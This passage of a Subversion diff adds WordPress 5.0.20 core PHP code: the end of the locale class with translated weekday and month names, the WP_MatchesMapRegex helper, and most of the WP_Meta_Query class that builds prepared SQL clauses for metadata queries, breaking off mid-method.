+		$this->weekday_initial[ __( 'Saturday' ) ]  = /* translators: one-letter abbreviation of the weekday */ _x( 'S', 'Saturday initial' );
+
+		// Abbreviations for each day.
+		$this->weekday_abbrev[__('Sunday')]    = /* translators: three-letter abbreviation of the weekday */ __('Sun');
+		$this->weekday_abbrev[__('Monday')]    = /* translators: three-letter abbreviation of the weekday */ __('Mon');
+		$this->weekday_abbrev[__('Tuesday')]   = /* translators: three-letter abbreviation of the weekday */ __('Tue');
+		$this->weekday_abbrev[__('Wednesday')] = /* translators: three-letter abbreviation of the weekday */ __('Wed');
+		$this->weekday_abbrev[__('Thursday')]  = /* translators: three-letter abbreviation of the weekday */ __('Thu');
+		$this->weekday_abbrev[__('Friday')]    = /* translators: three-letter abbreviation of the weekday */ __('Fri');
+		$this->weekday_abbrev[__('Saturday')]  = /* translators: three-letter abbreviation of the weekday */ __('Sat');
+
+		// The Months
+		$this->month['01'] = /* translators: month name */ __( 'January' );
+		$this->month['02'] = /* translators: month name */ __( 'February' );
+		$this->month['03'] = /* translators: month name */ __( 'March' );
+		$this->month['04'] = /* translators: month name */ __( 'April' );
+		$this->month['05'] = /* translators: month name */ __( 'May' );
+		$this->month['06'] = /* translators: month name */ __( 'June' );
+		$this->month['07'] = /* translators: month name */ __( 'July' );
+		$this->month['08'] = /* translators: month name */ __( 'August' );
+		$this->month['09'] = /* translators: month name */ __( 'September' );
+		$this->month['10'] = /* translators: month name */ __( 'October' );
+		$this->month['11'] = /* translators: month name */ __( 'November' );
+		$this->month['12'] = /* translators: month name */ __( 'December' );
+
+		// The Months, genitive
+		$this->month_genitive['01'] = /* translators: month name, genitive */ _x( 'January', 'genitive' );
+		$this->month_genitive['02'] = /* translators: month name, genitive */ _x( 'February', 'genitive' );
+		$this->month_genitive['03'] = /* translators: month name, genitive */ _x( 'March', 'genitive' );
+		$this->month_genitive['04'] = /* translators: month name, genitive */ _x( 'April', 'genitive' );
+		$this->month_genitive['05'] = /* translators: month name, genitive */ _x( 'May', 'genitive' );
+		$this->month_genitive['06'] = /* translators: month name, genitive */ _x( 'June', 'genitive' );
+		$this->month_genitive['07'] = /* translators: month name, genitive */ _x( 'July', 'genitive' );
+		$this->month_genitive['08'] = /* translators: month name, genitive */ _x( 'August', 'genitive' );
+		$this->month_genitive['09'] = /* translators: month name, genitive */ _x( 'September', 'genitive' );
+		$this->month_genitive['10'] = /* translators: month name, genitive */ _x( 'October', 'genitive' );
+		$this->month_genitive['11'] = /* translators: month name, genitive */ _x( 'November', 'genitive' );
+		$this->month_genitive['12'] = /* translators: month name, genitive */ _x( 'December', 'genitive' );
+
+		// Abbreviations for each month.
+		$this->month_abbrev[ __( 'January' ) ]   = /* translators: three-letter abbreviation of the month */ _x( 'Jan', 'January abbreviation' );
+		$this->month_abbrev[ __( 'February' ) ]  = /* translators: three-letter abbreviation of the month */ _x( 'Feb', 'February abbreviation' );
+		$this->month_abbrev[ __( 'March' ) ]     = /* translators: three-letter abbreviation of the month */ _x( 'Mar', 'March abbreviation' );
+		$this->month_abbrev[ __( 'April' ) ]     = /* translators: three-letter abbreviation of the month */ _x( 'Apr', 'April abbreviation' );
+		$this->month_abbrev[ __( 'May' ) ]       = /* translators: three-letter abbreviation of the month */ _x( 'May', 'May abbreviation' );
+		$this->month_abbrev[ __( 'June' ) ]      = /* translators: three-letter abbreviation of the month */ _x( 'Jun', 'June abbreviation' );
+		$this->month_abbrev[ __( 'July' ) ]      = /* translators: three-letter abbreviation of the month */ _x( 'Jul', 'July abbreviation' );
+		$this->month_abbrev[ __( 'August' ) ]    = /* translators: three-letter abbreviation of the month */ _x( 'Aug', 'August abbreviation' );
+		$this->month_abbrev[ __( 'September' ) ] = /* translators: three-letter abbreviation of the month */ _x( 'Sep', 'September abbreviation' );
+		$this->month_abbrev[ __( 'October' ) ]   = /* translators: three-letter abbreviation of the month */ _x( 'Oct', 'October abbreviation' );
+		$this->month_abbrev[ __( 'November' ) ]  = /* translators: three-letter abbreviation of the month */ _x( 'Nov', 'November abbreviation' );
+		$this->month_abbrev[ __( 'December' ) ]  = /* translators: three-letter abbreviation of the month */ _x( 'Dec', 'December abbreviation' );
+
+		// The Meridiems
+		$this->meridiem['am'] = __('am');
+		$this->meridiem['pm'] = __('pm');
+		$this->meridiem['AM'] = __('AM');
+		$this->meridiem['PM'] = __('PM');
+
+		// Numbers formatting
+		// See https://secure.php.net/number_format
+
+		/* translators: $thousands_sep argument for https://secure.php.net/number_format, default is , */
+		$thousands_sep = __( 'number_format_thousands_sep' );
+
+		if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) {
+			// Replace space with a non-breaking space to avoid wrapping.
+			$thousands_sep = str_replace( ' ', '&nbsp;', $thousands_sep );
+		} else {
+			// PHP < 5.4.0 does not support multiple bytes in thousands separator.
+			$thousands_sep = str_replace( array( '&nbsp;', '&#160;' ), ' ', $thousands_sep );
+		}
+
+		$this->number_format['thousands_sep'] = ( 'number_format_thousands_sep' === $thousands_sep ) ? ',' : $thousands_sep;
+
+		/* translators: $dec_point argument for https://secure.php.net/number_format, default is . */
+		$decimal_point = __( 'number_format_decimal_point' );
+
+		$this->number_format['decimal_point'] = ( 'number_format_decimal_point' === $decimal_point ) ? '.' : $decimal_point;
+
+		// Set text direction.
+		if ( isset( $GLOBALS['text_direction'] ) )
+			$this->text_direction = $GLOBALS['text_direction'];
+		/* translators: 'rtl' or 'ltr'. This sets the text direction for WordPress. */
+		elseif ( 'rtl' == _x( 'ltr', 'text direction' ) )
+			$this->text_direction = 'rtl';
+
+		if ( 'rtl' === $this->text_direction && strpos( get_bloginfo( 'version' ), '-src' ) ) {
+			$this->text_direction = 'ltr';
+			add_action( 'all_admin_notices', array( $this, 'rtl_src_admin_notice' ) );
+		}
+	}
+
+	/**
+	 * Outputs an admin notice if the /build directory must be used for RTL.
+	 *
+	 * @since 3.8.0
+	 */
+	public function rtl_src_admin_notice() {
+		/* translators: %s: Name of the directory (build) */
+		echo '<div class="error"><p>' . sprintf( __( 'The %s directory of the develop repository must be used for RTL.' ), '<code>build</code>' ) . '</p></div>';
+	}
+
+	/**
+	 * Retrieve the full translated weekday word.
+	 *
+	 * Week starts on translated Sunday and can be fetched
+	 * by using 0 (zero). So the week starts with 0 (zero)
+	 * and ends on Saturday with is fetched by using 6 (six).
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param int $weekday_number 0 for Sunday through 6 Saturday
+	 * @return string Full translated weekday
+	 */
+	public function get_weekday($weekday_number) {
+		return $this->weekday[$weekday_number];
+	}
+
+	/**
+	 * Retrieve the translated weekday initial.
+	 *
+	 * The weekday initial is retrieved by the translated
+	 * full weekday word. When translating the weekday initial
+	 * pay attention to make sure that the starting letter does
+	 * not conflict.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $weekday_name
+	 * @return string
+	 */
+	public function get_weekday_initial($weekday_name) {
+		return $this->weekday_initial[$weekday_name];
+	}
+
+	/**
+	 * Retrieve the translated weekday abbreviation.
+	 *
+	 * The weekday abbreviation is retrieved by the translated
+	 * full weekday word.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $weekday_name Full translated weekday word
+	 * @return string Translated weekday abbreviation
+	 */
+	public function get_weekday_abbrev($weekday_name) {
+		return $this->weekday_abbrev[$weekday_name];
+	}
+
+	/**
+	 * Retrieve the full translated month by month number.
+	 *
+	 * The $month_number parameter has to be a string
+	 * because it must have the '0' in front of any number
+	 * that is less than 10. Starts from '01' and ends at
+	 * '12'.
+	 *
+	 * You can use an integer instead and it will add the
+	 * '0' before the numbers less than 10 for you.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string|int $month_number '01' through '12'
+	 * @return string Translated full month name
+	 */
+	public function get_month($month_number) {
+		return $this->month[zeroise($month_number, 2)];
+	}
+
+	/**
+	 * Retrieve translated version of month abbreviation string.
+	 *
+	 * The $month_name parameter is expected to be the translated or
+	 * translatable version of the month.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $month_name Translated month to get abbreviated version
+	 * @return string Translated abbreviated month
+	 */
+	public function get_month_abbrev($month_name) {
+		return $this->month_abbrev[$month_name];
+	}
+
+	/**
+	 * Retrieve translated version of meridiem string.
+	 *
+	 * The $meridiem parameter is expected to not be translated.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $meridiem Either 'am', 'pm', 'AM', or 'PM'. Not translated version.
+	 * @return string Translated version
+	 */
+	public function get_meridiem($meridiem) {
+		return $this->meridiem[$meridiem];
+	}
+
+	/**
+	 * Global variables are deprecated.
+	 *
+	 * For backward compatibility only.
+	 *
+	 * @deprecated For backward compatibility only.
+	 *
+	 * @global array $weekday
+	 * @global array $weekday_initial
+	 * @global array $weekday_abbrev
+	 * @global array $month
+	 * @global array $month_abbrev
+	 *
+	 * @since 2.1.0
+	 */
+	public function register_globals() {
+		$GLOBALS['weekday']         = $this->weekday;
+		$GLOBALS['weekday_initial'] = $this->weekday_initial;
+		$GLOBALS['weekday_abbrev']  = $this->weekday_abbrev;
+		$GLOBALS['month']           = $this->month;
+		$GLOBALS['month_abbrev']    = $this->month_abbrev;
+	}
+
+	/**
+	 * Checks if current locale is RTL.
+	 *
+	 * @since 3.0.0
+	 * @return bool Whether locale is RTL.
+	 */
+	public function is_rtl() {
+		return 'rtl' == $this->text_direction;
+	}
+
+	/**
+	 * Register date/time format strings for general POT.
+	 *
+	 * Private, unused method to add some date/time formats translated
+	 * on wp-admin/options-general.php to the general POT that would
+	 * otherwise be added to the admin POT.
+	 *
+	 * @since 3.6.0
+	 */
+	public function _strings_for_pot() {
+		/* translators: localized date format, see https://secure.php.net/date */
+		__( 'F j, Y' );
+		/* translators: localized time format, see https://secure.php.net/date */
+		__( 'g:i a' );
+		/* translators: localized date and time format, see https://secure.php.net/date */
+		__( 'F j, Y g:i a' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-matchesmapregex.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-matchesmapregex.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-matchesmapregex.php	(revision 56912)
@@ -0,0 +1,91 @@
+<?php
+/**
+ * WP_MatchesMapRegex helper class
+ *
+ * @package WordPress
+ * @since 4.7.0
+ */
+
+/**
+ * Helper class to remove the need to use eval to replace $matches[] in query strings.
+ *
+ * @since 2.9.0
+ */
+class WP_MatchesMapRegex {
+	/**
+	 * store for matches
+	 *
+	 * @var array
+	 */
+	private $_matches;
+
+	/**
+	 * store for mapping result
+	 *
+	 * @var string
+	 */
+	public $output;
+
+	/**
+	 * subject to perform mapping on (query string containing $matches[] references
+	 *
+	 * @var string
+	 */
+	private $_subject;
+
+	/**
+	 * regexp pattern to match $matches[] references
+	 *
+	 * @var string
+	 */
+	public $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // magic number
+
+	/**
+	 * constructor
+	 *
+	 * @param string $subject subject if regex
+	 * @param array  $matches data to use in map
+	 */
+	public function __construct($subject, $matches) {
+		$this->_subject = $subject;
+		$this->_matches = $matches;
+		$this->output = $this->_map();
+	}
+
+	/**
+	 * Substitute substring matches in subject.
+	 *
+	 * static helper function to ease use
+	 *
+	 * @static
+	 *
+	 * @param string $subject subject
+	 * @param array  $matches data used for substitution
+	 * @return string
+	 */
+	public static function apply($subject, $matches) {
+		$oSelf = new WP_MatchesMapRegex($subject, $matches);
+		return $oSelf->output;
+	}
+
+	/**
+	 * do the actual mapping
+	 *
+	 * @return string
+	 */
+	private function _map() {
+		$callback = array($this, 'callback');
+		return preg_replace_callback($this->_pattern, $callback, $this->_subject);
+	}
+
+	/**
+	 * preg_replace_callback hook
+	 *
+	 * @param  array $matches preg_replace regexp matches
+	 * @return string
+	 */
+	public function callback($matches) {
+		$index = intval(substr($matches[0], 9, -1));
+		return ( isset( $this->_matches[$index] ) ? urlencode($this->_matches[$index]) : '' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-meta-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-meta-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-meta-query.php	(revision 56912)
@@ -0,0 +1,730 @@
+<?php
+/**
+ * Meta API: WP_Meta_Query class
+ *
+ * @package WordPress
+ * @subpackage Meta
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement meta queries for the Meta API.
+ *
+ * Used for generating SQL clauses that filter a primary query according to metadata keys and values.
+ *
+ * WP_Meta_Query is a helper that allows primary query classes, such as WP_Query and WP_User_Query,
+ *
+ * to filter their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached
+ * to the primary SQL query string.
+ *
+ * @since 3.2.0
+ */
+class WP_Meta_Query {
+	/**
+	 * Array of metadata queries.
+	 *
+	 * See WP_Meta_Query::__construct() for information on meta query arguments.
+	 *
+	 * @since 3.2.0
+	 * @var array
+	 */
+	public $queries = array();
+
+	/**
+	 * The relation between the queries. Can be one of 'AND' or 'OR'.
+	 *
+	 * @since 3.2.0
+	 * @var string
+	 */
+	public $relation;
+
+	/**
+	 * Database table to query for the metadata.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $meta_table;
+
+	/**
+	 * Column in meta_table that represents the ID of the object the metadata belongs to.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $meta_id_column;
+
+	/**
+	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $primary_table;
+
+	/**
+	 * Column in primary_table that represents the ID of the object.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $primary_id_column;
+
+	/**
+	 * A flat list of table aliases used in JOIN clauses.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	protected $table_aliases = array();
+
+	/**
+	 * A flat list of clauses, keyed by clause 'name'.
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	protected $clauses = array();
+
+	/**
+	 * Whether the query contains any OR relations.
+	 *
+	 * @since 4.3.0
+	 * @var bool
+	 */
+	protected $has_or_relation = false;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.2.0
+	 * @since 4.2.0 Introduced support for naming query clauses by associative array keys.
+	 *
+	 *
+	 * @param array $meta_query {
+	 *     Array of meta query clauses. When first-order clauses or sub-clauses use strings as
+	 *     their array keys, they may be referenced in the 'orderby' parameter of the parent query.
+	 *
+	 *     @type string $relation Optional. The MySQL keyword used to join
+	 *                            the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
+	 *     @type array {
+	 *         Optional. An array of first-order clause parameters, or another fully-formed meta query.
+	 *
+	 *         @type string $key     Meta key to filter by.
+	 *         @type string $value   Meta value to filter by.
+	 *         @type string $compare MySQL operator used for comparing the $value. Accepts '=',
+	 *                               '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE',
+	 *                               'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN', 'REGEXP',
+	 *                               'NOT REGEXP', 'RLIKE', 'EXISTS' or 'NOT EXISTS'.
+	 *                               Default is 'IN' when `$value` is an array, '=' otherwise.
+	 *         @type string $type    MySQL data type that the meta_value column will be CAST to for
+	 *                               comparisons. Accepts 'NUMERIC', 'BINARY', 'CHAR', 'DATE',
+	 *                               'DATETIME', 'DECIMAL', 'SIGNED', 'TIME', or 'UNSIGNED'.
+	 *                               Default is 'CHAR'.
+	 *     }
+	 * }
+	 */
+	public function __construct( $meta_query = false ) {
+		if ( !$meta_query )
+			return;
+
+		if ( isset( $meta_query['relation'] ) && strtoupper( $meta_query['relation'] ) == 'OR' ) {
+			$this->relation = 'OR';
+		} else {
+			$this->relation = 'AND';
+		}
+
+		$this->queries = $this->sanitize_query( $meta_query );
+	}
+
+	/**
+	 * Ensure the 'meta_query' argument passed to the class constructor is well-formed.
+	 *
+	 * Eliminates empty items and ensures that a 'relation' is set.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $queries Array of query clauses.
+	 * @return array Sanitized array of query clauses.
+	 */
+	public function sanitize_query( $queries ) {
+		$clean_queries = array();
+
+		if ( ! is_array( $queries ) ) {
+			return $clean_queries;
+		}
+
+		foreach ( $queries as $key => $query ) {
+			if ( 'relation' === $key ) {
+				$relation = $query;
+
+			} elseif ( ! is_array( $query ) ) {
+				continue;
+
+			// First-order clause.
+			} elseif ( $this->is_first_order_clause( $query ) ) {
+				if ( isset( $query['value'] ) && array() === $query['value'] ) {
+					unset( $query['value'] );
+				}
+
+				$clean_queries[ $key ] = $query;
+
+			// Otherwise, it's a nested query, so we recurse.
+			} else {
+				$cleaned_query = $this->sanitize_query( $query );
+
+				if ( ! empty( $cleaned_query ) ) {
+					$clean_queries[ $key ] = $cleaned_query;
+				}
+			}
+		}
+
+		if ( empty( $clean_queries ) ) {
+			return $clean_queries;
+		}
+
+		// Sanitize the 'relation' key provided in the query.
+		if ( isset( $relation ) && 'OR' === strtoupper( $relation ) ) {
+			$clean_queries['relation'] = 'OR';
+			$this->has_or_relation = true;
+
+		/*
+		 * If there is only a single clause, call the relation 'OR'.
+		 * This value will not actually be used to join clauses, but it
+		 * simplifies the logic around combining key-only queries.
+		 */
+		} elseif ( 1 === count( $clean_queries ) ) {
+			$clean_queries['relation'] = 'OR';
+
+		// Default to AND.
+		} else {
+			$clean_queries['relation'] = 'AND';
+		}
+
+		return $clean_queries;
+	}
+
+	/**
+	 * Determine whether a query clause is first-order.
+	 *
+	 * A first-order meta query clause is one that has either a 'key' or
+	 * a 'value' array key.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $query Meta query arguments.
+	 * @return bool Whether the query clause is a first-order clause.
+	 */
+	protected function is_first_order_clause( $query ) {
+		return isset( $query['key'] ) || isset( $query['value'] );
+	}
+
+	/**
+	 * Constructs a meta query based on 'meta_*' query vars
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $qv The query variables
+	 */
+	public function parse_query_vars( $qv ) {
+		$meta_query = array();
+
+		/*
+		 * For orderby=meta_value to work correctly, simple query needs to be
+		 * first (so that its table join is against an unaliased meta table) and
+		 * needs to be its own clause (so it doesn't interfere with the logic of
+		 * the rest of the meta_query).
+		 */
+		$primary_meta_query = array();
+		foreach ( array( 'key', 'compare', 'type' ) as $key ) {
+			if ( ! empty( $qv[ "meta_$key" ] ) ) {
+				$primary_meta_query[ $key ] = $qv[ "meta_$key" ];
+			}
+		}
+
+		// WP_Query sets 'meta_value' = '' by default.
+		if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) {
+			$primary_meta_query['value'] = $qv['meta_value'];
+		}
+
+		$existing_meta_query = isset( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ? $qv['meta_query'] : array();
+
+		if ( ! empty( $primary_meta_query ) && ! empty( $existing_meta_query ) ) {
+			$meta_query = array(
+				'relation' => 'AND',
+				$primary_meta_query,
+				$existing_meta_query,
+			);
+		} elseif ( ! empty( $primary_meta_query ) ) {
+			$meta_query = array(
+				$primary_meta_query,
+			);
+		} elseif ( ! empty( $existing_meta_query ) ) {
+			$meta_query = $existing_meta_query;
+		}
+
+		$this->__construct( $meta_query );
+	}
+
+	/**
+	 * Return the appropriate alias for the given meta type if applicable.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $type MySQL type to cast meta_value.
+	 * @return string MySQL type.
+	 */
+	public function get_cast_for_type( $type = '' ) {
+		if ( empty( $type ) )
+			return 'CHAR';
+
+		$meta_type = strtoupper( $type );
+
+		if ( ! preg_match( '/^(?:BINARY|CHAR|DATE|DATETIME|SIGNED|UNSIGNED|TIME|NUMERIC(?:\(\d+(?:,\s?\d+)?\))?|DECIMAL(?:\(\d+(?:,\s?\d+)?\))?)$/', $meta_type ) )
+			return 'CHAR';
+
+		if ( 'NUMERIC' == $meta_type )
+			$meta_type = 'SIGNED';
+
+		return $meta_type;
+	}
+
+	/**
+	 * Generates SQL clauses to be appended to a main query.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param string $type              Type of meta, eg 'user', 'post'.
+	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
+	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
+	 * @param object $context           Optional. The main query object.
+	 * @return false|array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql( $type, $primary_table, $primary_id_column, $context = null ) {
+		if ( ! $meta_table = _get_meta_table( $type ) ) {
+			return false;
+		}
+
+		$this->table_aliases = array();
+
+		$this->meta_table     = $meta_table;
+		$this->meta_id_column = sanitize_key( $type . '_id' );
+
+		$this->primary_table     = $primary_table;
+		$this->primary_id_column = $primary_id_column;
+
+		$sql = $this->get_sql_clauses();
+
+		/*
+		 * If any JOINs are LEFT JOINs (as in the case of NOT EXISTS), then all JOINs should
+		 * be LEFT. Otherwise posts with no metadata will be excluded from results.
+		 */
+		if ( false !== strpos( $sql['join'], 'LEFT JOIN' ) ) {
+			$sql['join'] = str_replace( 'INNER JOIN', 'LEFT JOIN', $sql['join'] );
+		}
+
+		/**
+		 * Filters the meta query's generated SQL.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array  $clauses           Array containing the query's JOIN and WHERE clauses.
+		 * @param array  $queries           Array of meta queries.
+		 * @param string $type              Type of meta.
+		 * @param string $primary_table     Primary table.
+		 * @param string $primary_id_column Primary column ID.
+		 * @param object $context           The main query object.
+		 */
+		return apply_filters_ref_array( 'get_meta_sql', array( $sql, $this->queries, $type, $primary_table, $primary_id_column, $context ) );
+	}
+
+	/**
+	 * Generate SQL clauses to be appended to a main query.
+	 *
+	 * Called by the public WP_Meta_Query::get_sql(), this method is abstracted
+	 * out to maintain parity with the other Query classes.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_clauses() {
+		/*
+		 * $queries are passed by reference to get_sql_for_query() for recursion.
+		 * To keep $this->queries unaltered, pass a copy.
+		 */
+		$queries = $this->queries;
+		$sql = $this->get_sql_for_query( $queries );
+
+		if ( ! empty( $sql['where'] ) ) {
+			$sql['where'] = ' AND ' . $sql['where'];
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL clauses for a single query array.
+	 *
+	 * If nested subqueries are found, this method recurses the tree to
+	 * produce the properly nested SQL.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $query Query to parse (passed by reference).
+	 * @param int   $depth Optional. Number of tree levels deep we currently are.
+	 *                     Used to calculate indentation. Default 0.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	protected function get_sql_for_query( &$query, $depth = 0 ) {
+		$sql_chunks = array(
+			'join'  => array(),
+			'where' => array(),
+		);
+
+		$sql = array(
+			'join'  => '',
+			'where' => '',
+		);
+
+		$indent = '';
+		for ( $i = 0; $i < $depth; $i++ ) {
+			$indent .= "  ";
+		}
+
+		foreach ( $query as $key => &$clause ) {
+			if ( 'relation' === $key ) {
+				$relation = $query['relation'];
+			} elseif ( is_array( $clause ) ) {
+
+				// This is a first-order clause.
+				if ( $this->is_first_order_clause( $clause ) ) {
+					$clause_sql = $this->get_sql_for_clause( $clause, $query, $key );
+
+					$where_count = count( $clause_sql['where'] );
+					if ( ! $where_count ) {
+						$sql_chunks['where'][] = '';
+					} elseif ( 1 === $where_count ) {
+						$sql_chunks['where'][] = $clause_sql['where'][0];
+					} else {
+						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
+					}
+
+					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
+				// This is a subquery, so we recurse.
+				} else {
+					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
+
+					$sql_chunks['where'][] = $clause_sql['where'];
+					$sql_chunks['join'][]  = $clause_sql['join'];
+				}
+			}
+		}
+
+		// Filter to remove empties.
+		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
+		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
+
+		if ( empty( $relation ) ) {
+			$relation = 'AND';
+		}
+
+		// Filter duplicate JOIN clauses and combine into a single string.
+		if ( ! empty( $sql_chunks['join'] ) ) {
+			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
+		}
+
+		// Generate a single WHERE clause with proper brackets and indentation.
+		if ( ! empty( $sql_chunks['where'] ) ) {
+			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Generate SQL JOIN and WHERE clauses for a first-order query clause.
+	 *
+	 * "First-order" means that it's an array with a 'key' or 'value'.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array  $clause       Query clause (passed by reference).
+	 * @param array  $parent_query Parent query array.
+	 * @param string $clause_key   Optional. The array key used to name the clause in the original `$meta_query`
+	 *                             parameters. If not provided, a key will be generated automatically.
+	 * @return array {
+	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
+	 *
+	 *     @type string $join  SQL fragment to append to the main JOIN clause.
+	 *     @type string $where SQL fragment to append to the main WHERE clause.
+	 * }
+	 */
+	public function get_sql_for_clause( &$clause, $parent_query, $clause_key = '' ) {
+		global $wpdb;
+
+		$sql_chunks = array(
+			'where' => array(),
+			'join' => array(),
+		);
+
+		if ( isset( $clause['compare'] ) ) {
+			$clause['compare'] = strtoupper( $clause['compare'] );
+		} else {
+			$clause['compare'] = isset( $clause['value'] ) && is_array( $clause['value'] ) ? 'IN' : '=';
+		}
+
+		if ( ! in_array( $clause['compare'], array(
+			'=', '!=', '>', '>=', '<', '<=',
+			'LIKE', 'NOT LIKE',
+			'IN', 'NOT IN',
+			'BETWEEN', 'NOT BETWEEN',
+			'EXISTS', 'NOT EXISTS',
+			'REGEXP', 'NOT REGEXP', 'RLIKE'
+		) ) ) {
+			$clause['compare'] = '=';
+		}
+
+		$meta_compare = $clause['compare'];
+
+		// First build the JOIN clause, if one is required.
+		$join = '';
+
+		// We prefer to avoid joins if possible. Look for an existing join compatible with this clause.
+		$alias = $this->find_compatible_table_alias( $clause, $parent_query );
+		if ( false === $alias ) {
+			$i = count( $this->table_aliases );
+			$alias = $i ? 'mt' . $i : $this->meta_table;
+
+			// JOIN clauses for NOT EXISTS have their own syntax.
+			if ( 'NOT EXISTS' === $meta_compare ) {
+				$join .= " LEFT JOIN $this->meta_table";
+				$join .= $i ? " AS $alias" : '';
+				$join .= $wpdb->prepare( " ON ($this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column AND $alias.meta_key = %s )", $clause['key'] );
+
+			// All other JOIN clauses.
+			} else {
+				$join .= " INNER JOIN $this->meta_table";
+				$join .= $i ? " AS $alias" : '';
+				$join .= " ON ( $this->primary_table.$this->primary_id_column = $alias.$this->meta_id_column )";
+			}
+
+			$this->table_aliases[] = $alias;
+			$sql_chunks['join'][] = $join;
+		}
+
+		// Save the alias to this clause, for future siblings to find.
+		$clause['alias'] = $alias;
+
+		// Determine the data type.
+		$_meta_type = isset( $clause['type'] ) ? $clause['type'] : '';
+		$meta_type  = $this->get_cast_for_type( $_meta_type );
+		$clause['cast'] = $meta_type;
+
+		// Fallback for clause keys is the table alias. Key must be a string.
+		if ( is_int( $clause_key ) || ! $clause_key ) {
+			$clause_key = $clause['alias'];
+		}
+
+		// Ensure unique clause keys, so none are overwritten.
+		$iterator = 1;
+		$clause_key_base = $clause_key;
+		while ( isset( $this->clauses[ $clause_key ] ) ) {
+			$clause_key = $clause_key_base . '-' . $iterator;
+			$iterator++;
+		}
+
+		// Store the clause in our flat array.
+		$this->clauses[ $clause_key ] =& $clause;
+
+		// Next, build the WHERE clause.
+
+		// meta_key.
+		if ( array_key_exists( 'key', $clause ) ) {
+			if ( 'NOT EXISTS' === $meta_compare ) {
+				$sql_chunks['where'][] = $alias . '.' . $this->meta_id_column . ' IS NULL';
+			} else {
+				$sql_chunks['where'][] = $wpdb->prepare( "$alias.meta_key = %s", trim( $clause['key'] ) );
+			}
+		}
+
+		// meta_value.
+		if ( array_key_exists( 'value', $clause ) ) {
+			$meta_value = $clause['value'];
+
+			if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) {
+				if ( ! is_array( $meta_value ) ) {
+					$meta_value = preg_split( '/[,\s]+/', $meta_value );
+				}
+			} else {
+				$meta_value = trim( $meta_value );
+			}
+
+			switch ( $meta_compare ) {
+				case 'IN' :
+				case 'NOT IN' :
+					$meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')';
+					$where = $wpdb->prepare( $meta_compare_string, $meta_value );
+					break;
+
+				case 'BETWEEN' :
+				case 'NOT BETWEEN' :
+					$meta_value = array_slice( $meta_value, 0, 2 );
+					$where = $wpdb->prepare( '%s AND %s', $meta_value );
+					break;
+
+				case 'LIKE' :
+				case 'NOT LIKE' :
+					$meta_value = '%' . $wpdb->esc_like( $meta_value ) . '%';
+					$where = $wpdb->prepare( '%s', $meta_value );
+					break;
+
+				// EXISTS with a value is interpreted as '='.
+				case 'EXISTS' :
